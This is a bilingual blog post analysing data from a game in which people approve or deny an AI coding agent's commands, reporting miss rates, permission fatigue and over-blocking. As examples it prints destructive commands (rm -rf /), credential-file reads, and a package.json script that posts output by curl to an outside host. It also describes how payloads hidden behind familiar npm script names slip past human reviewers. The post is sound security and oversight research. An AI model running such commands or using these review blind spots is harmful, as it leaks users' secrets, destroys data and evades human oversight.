Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

在 4 万次游戏运行中，人类在批准 AI 代理命令时漏掉了三分之一的威胁

A couple of months ago I published a small browser game: you play the human-in-the-loop for an AI coding agent, approving or denying its commands under time pressure. Some commands are routine (git status, npm test) and some other commands indicate your agent has been possessed and is sending your secrets to a remote server (cat ~/.aws/credentials). More on the threats associated with agents running commands and how to mitigate them can be found in the original post.

几个月前，我发布了一款小型网页游戏：你扮演 AI 编程代理的“人在回路”（human-in-the-loop）角色，需要在时间压力下批准或拒绝其命令。有些命令是常规操作（如 git status、npm test），而另一些命令则表明你的代理已被劫持，正在将你的机密发送到远程服务器（如 cat ~/.aws/credentials）。关于代理运行命令所带来的威胁及其缓解措施，可以在原文中找到更多信息。

The game garnered some interest on hacker news, and after adding in statistics (unfortunately a bit later on) we can take a closer look at the data of over 40,000 runs and 409,000 individual approve/deny decisions. Let’s see how the human-in-the-loop, our last line of defence against rogue agents, fared.

这款游戏在 Hacker News 上引起了一些关注。在加入了统计功能（遗憾的是加得晚了一些）后，我们可以深入分析超过 4 万次运行和 40.9 万次批准/拒绝决策的数据。让我们看看作为抵御流氓代理最后一道防线的“人在回路”，表现究竟如何。

The headline numbers

核心数据概览

• The average player missed 1 in 3 threats (mean accuracy 66.3%) 平均每位玩家会漏掉三分之一的威胁（平均准确率为 66.3%）
• 32.9% of sessions ended with a negative score: penalties from approved threats and blocked safe commands outweighed everything done right 32.9% 的会话以负分结束：批准威胁和拦截安全命令所带来的惩罚，抵消了所有正确操作的得分
• 35.2% of players caught every threat, but only 20.8% managed that while blocking at most 1 in 5 of the safe commands. The rest got there partly by blocking everything (awarding the “Human Bottleneck” title) 35.2% 的玩家抓住了所有威胁，但只有 20.8% 的玩家在拦截不超过五分之一安全命令的情况下做到了这一点。其余玩家是通过“拦截一切”来实现的（因此获得了“人类瓶颈”称号）
• 7% approved every single prompt: big fans of --dangerously-skip-permissions 7% 的玩家批准了每一个提示：他们是 --dangerously-skip-permissions 的忠实拥趸

Small caveat: this was a game, where approximately 34% of the commands players saw were threats. In our day-to-day work these threats appear rarely. Players knew they were being tested in a time-boxed challenge. But the numbers below might be useful for garnering some insights on comparing threats and the general awareness of them against one another.

小提示：这毕竟是一款游戏，玩家看到的命令中约有 34% 是威胁。在我们的日常工作中，这些威胁很少出现。玩家也知道他们是在限时挑战中接受测试。但以下数据或许能为比较不同威胁以及人们对它们的普遍认知提供一些见解。

Threat categories and miss rates

威胁类别与漏报率

Category	Examples	Miss rate
Obvious destructive	rm -rf /, chmod -R 777 /	11.7%
Persistent mutation	crontab injection, git config hijack	23.8%
Exfiltration / code execution	curl to unknown APIs, typosquatted packages	33.4%
Scope violations	cat ~/.aws/credentials, cat ~/.kube/config	35.0%

类别	示例	漏报率
明显的破坏性操作	rm -rf /, chmod -R 777 /	11.7%
持久化篡改	crontab 注入, git 配置劫持	23.8%
数据外泄 / 代码执行	curl 到未知 API, 拼写劫持包	33.4%
越权访问	cat ~/.aws/credentials, cat ~/.kube/config	35.0%

The blatantly destructive commands are caught most reliably. The commands that actually exfiltrate your credentials are missed three times as often.

那些明目张胆的破坏性命令最容易被识别。而那些真正会窃取你凭据的命令，其漏报率却是前者的三倍。

The npm run blind spot

npm run 的盲点

The single most-missed command in the game is npm run analyze, approved 64.7% of the time. The command by itself is typically innocent. But what npm run really does is run a script that’s defined in your project’s package.json. It could be benign code such as running a bundle analyzer, or injected code that was written to file before.

游戏中漏报率最高的命令是 npm run analyze，有 64.7% 的情况下被批准。该命令本身通常是无害的。但 npm run 实际上运行的是你在项目 package.json 中定义的脚本。它可能是良性代码（如运行 bundle 分析器），也可能是之前被写入文件的注入代码。

The game does tell you in the agent’s history log what that script actually contains: 游戏确实会在代理的历史日志中告诉你该脚本实际包含的内容：

1 ✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2 // package.json → scripts
3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4 curl -s -X POST https://api.bundle.track/report -d @-"

Two thirds of players approved it anyway, indicating the history log just above the permission prompt may not be read closely. There are three of these in the game, and they appear in the most-missed list:

三分之二的玩家还是批准了它，这表明权限提示上方的历史日志可能并未被仔细阅读。游戏中共有三个此类命令，它们都出现在漏报率最高的列表中：

Command	Miss rate	Rank (of 37 threats)
npm run analyze	64.7%	1st
npm run setup	48.0%	4th
npm run deploy	44.9%	8th

命令	漏报率	排名 (共 37 个威胁)
npm run analyze	64.7%	第 1
npm run setup	48.0%	第 4
npm run deploy	44.9%	第 8

Pooled, the three were missed 52.5% of the time (n=9,482) against 28.4% for every other exfiltration-style attack. Hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is shown in the history log.

综合来看，这三个命令的漏报率为 52.5% (n=9,482)，而其他所有数据外泄类攻击的漏报率为 28.4%。即使载荷显示在历史日志中，将载荷隐藏在熟悉的脚本名称后，其成功率也会翻倍。

Which is really a symptom of the bigger problem, well put by dns_snek in the Hacker News thread: 这实际上是一个更大问题的征兆，正如 dns_snek 在 Hacker News 讨论中所言：

That’s a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers. npm run build = run an arbitrary shell command written in package.json

这是一个很好的例子，说明了危险行为是如何被误认为是无害的。整个批准特定命令的模式简直是疯了。 npm run build = 运行 package.json 中编写的任意 shell 命令

Meanwhile the agent could have done any of the following without approval: 与此同时，代理无需批准即可执行以下任何操作：

• edited package.json to contain any arbitrary build command 编辑 package.json 以包含任何任意构建命令
• planted malicious code in build.js (called by npm run build) 在 build.js 中植入恶意代码（由 npm run build 调用）
• planted malicious code in node_modules/xyz/index.js (imported by build.js) 在 node_modules/xyz/index.js 中植入恶意代码（由 build.js 导入）

Asking the user to validate commands, which are nearly all of the time safe, but aren’t anymore because of modified files, is not a strong safeguard. 要求用户验证那些绝大多数时候是安全的、但因文件被修改而不再安全的命令，并不是一种强有力的保障措施。

Miss rates increase under pressure

压力下漏报率上升

Anthropic previously noted permission fatigue is real in claude code, with the following quote: Anthropic 此前曾指出，在 claude code 中权限疲劳是真实存在的，并引用了以下话语：

The more approvals a user sees, the less attention they pay to each, becoming over time much less diligent in their supervision 用户看到的批准请求越多，他们对每个请求的关注度就越低，随着时间的推移，他们在监督时会变得越来越不严谨。

And although it’s a short game where the user is warned about threats, we can see some signs of degradation towards the end of game runs: 尽管这只是一个简短的游戏，且用户已被警告存在威胁，但我们仍能看到在游戏运行后期出现了一些警惕性下降的迹象：

Every group improves over the first couple of commands (warming up?) and then the miss rates climb back up towards the end. Although this might also be the stress of the clock running out and the player becoming more likely to make mistakes to get some extra commands in. 每个组在最初的几个命令中表现都有所提升（热身？），然后漏报率在接近尾声时又开始攀升。尽管这也可能是因为时间即将耗尽带来的压力，导致玩家为了完成更多命令而更容易出错。

The cost of vigilance: over-blocking

警惕的代价：过度拦截

The following commands were benign in intent, but routinely blocked: 以下命令意图良性，但经常被拦截：

• npm config set registry https://npm.internal — blocked 59% of the time (setting an internal mirror) npm config set registry https://npm.internal — 59% 的情况下被拦截（设置内部镜像）
• rm -rf dist/ — blocked 45% of the time (clearing build output, not uncommon to perform before a new build) rm -rf dist/ — 45% 的情况下被拦截（清理构建输出，在进行新构建前执行此操作并不罕见）
• kill $(lsof -t -i:3000) — blocked 43% of the time (freeing the port the server is listening on, potentially because of a crashed process) kill $(lsof -t -i:3000) — 43% 的情况下被拦截（释放服务器监听的端口，可能是因为进程崩溃）

This is the other side of the human-in-the-loop dilemma. Users are asked to approve commands which are actually benign, and blocking them slows the agent down. Over time this noise will likely result in users dropping their guard and approving malicious commands. Features such as Anthropic’s ‘Auto Mode’ try to mitigate this by automatically trying to determine if a command is safe before asking you, but they are not fool-proof. 这就是“人在回路”困境的另一面。用户被要求批准实际上是良性的命令，而拦截它们会拖慢代理的速度。随着时间的推移，这种干扰很可能会导致用户放松警惕，从而批准恶意命令。Anthropic 的“自动模式”（Auto Mode）等功能试图通过在询问你之前自动判断命令是否安全来缓解这一问题，但它们并非万无一失。